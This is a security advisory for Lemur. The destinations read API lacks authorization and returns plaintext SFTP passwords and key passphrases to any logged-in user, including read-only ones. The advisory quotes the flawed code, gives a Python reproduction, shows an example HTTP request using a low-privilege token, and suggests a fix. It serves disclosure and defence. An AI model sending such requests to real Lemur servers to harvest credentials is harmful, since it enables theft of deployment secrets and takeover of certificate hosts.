GHSA-6c8m-q6g9-vrw3
Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Lemur's destination read endpoints -- `GET /api/1/destinations` and `GET /api/1/destinations/<id>` -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (`POST`/`PUT`/`DELETE`) are gated with `@admin_permission.require(http_exception=403)`, but the two read handlers are protected only by `login_required` (inherited from `AuthenticatedResource`). They do not even exclude `read-only` users.
The built-in SFTP destination plugin (`sftp-destination`) stores its `password` and `privateKeyPass` options in cleartext in the `destinations.options` column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because `DestinationOutputSchema` serializes every option value verbatim, any authenticated principal -- including a `read-only` user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.
### Details
Read endpoints lack the authorization that their write siblings enforce:
`lemur/destinations/views.py`
```python
class DestinationsList(AuthenticatedResource):
@validate_schema(None, destinations_output_schema)
def get(self): # <-- only login_required; no admin/read-only gate
...
return service.render(args)
@validate_schema(destination_input_schema, destination_output_schema)
@admin_permission.require(http_exception=403) # write path IS gated
def post(self, data=None): ...
class Destinations(AuthenticatedResource):
@validate_schema(None, destination_output_schema)
def get(self, destination_id): # <-- only login_required; no admin/read-only gate
return service.get(destination_id)
@validate_schema(destination_input_schema, destination_output_schema)
@admin_permission.require(http_exception=403) # write path IS gated
def put(self, destination_id, data=None): ...
@admin_permission.require(http_exception=403) # write path IS gated
def delete(self, destination_id): ...
```
The output schema emits all option values, including secret ones:
`lemur/destinations/schemas.py`
```python
class DestinationOutputSchema(LemurOutputSchema):
...
options = fields.List(fields.Dict()) # raw option dicts, incl. {"name":"password","value":...}
@post_dump
def fill_object(self, data):
if data:
data["plugin"]["pluginOptions"] = data["options"] # copied verbatim into plugin block too
...
return data
```
`options` is the raw `JSONType` DB column (`lemur/destinations/models.py`), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:
`lemur/plugins/lemur_sftp/plugin.py`
```python
"""
Passwords are not encrypted and stored as a plain text.
"""
options = [
...
{"name": "password", "type": "str", "required": False, ...}, # plaintext
{"name": "privateKeyPass", "type": "str", "required": False, ...}, # plaintext
...
]
```
There is no `read-only` enforcement on these GET handlers (no `StrictRolePermission()` call), so even users explicitly restricted to read-only access can read the secrets.
### PoC
Reproduction of Lemur's exact serialization path (verbatim `DestinationOutputSchema` + `PluginOutputSchema`, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:
```python
from marshmallow import fields, post_dump, Schema
class PluginOutputSchema(Schema): # verbatim from lemur/schemas.py
id = fields.Integer(); label = fields.String(); description = fields.String()
active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
slug = fields.String(); title = fields.String()
class DestinationOutputSchema(Schema): # verbatim from lemur/destinations/schemas.py
id = fields.Integer(); label = fields.String(); description = fields.String()
active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
options = fields.List(fields.Dict())
@post_dump
def fill_object(self, data):
if data:
data["plugin"]["pluginOptions"] = data["options"]
for option in data["plugin"]["pluginOptions"]:
if "export-plugin" in option["type"]:
option["value"]["pluginOptions"] = option["value"]["plugin_options"]
return data
class Destination: # a stored SFTP destination row
id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
options = [
{"name": "host", "type": "str", "value": "10.0.5.20"},
{"name": "user", "type": "str", "value": "deploy"},
{"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
{"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
]
plugin = {"slug": "sftp-destination", "title": "SFTP",
"description": "Allow the uploading of certificates to SFTP",
"options": [], "id": 1, "label": None, "active": None}
out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)
```
Output (truncated) -- the plaintext secrets appear in both `options` and `plugin.pluginOptions`:
```json
{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
{"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
"plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
"slug":"sftp-destination", ...}}
```
End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:
```
GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>
HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }
```
### Impact
Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to `read-only` -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.
Suggested fix: gate the destination GET handlers with `admin_permission` (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in `DestinationOutputSchema`.
References
External links from the advisory. They lead to third-party sites.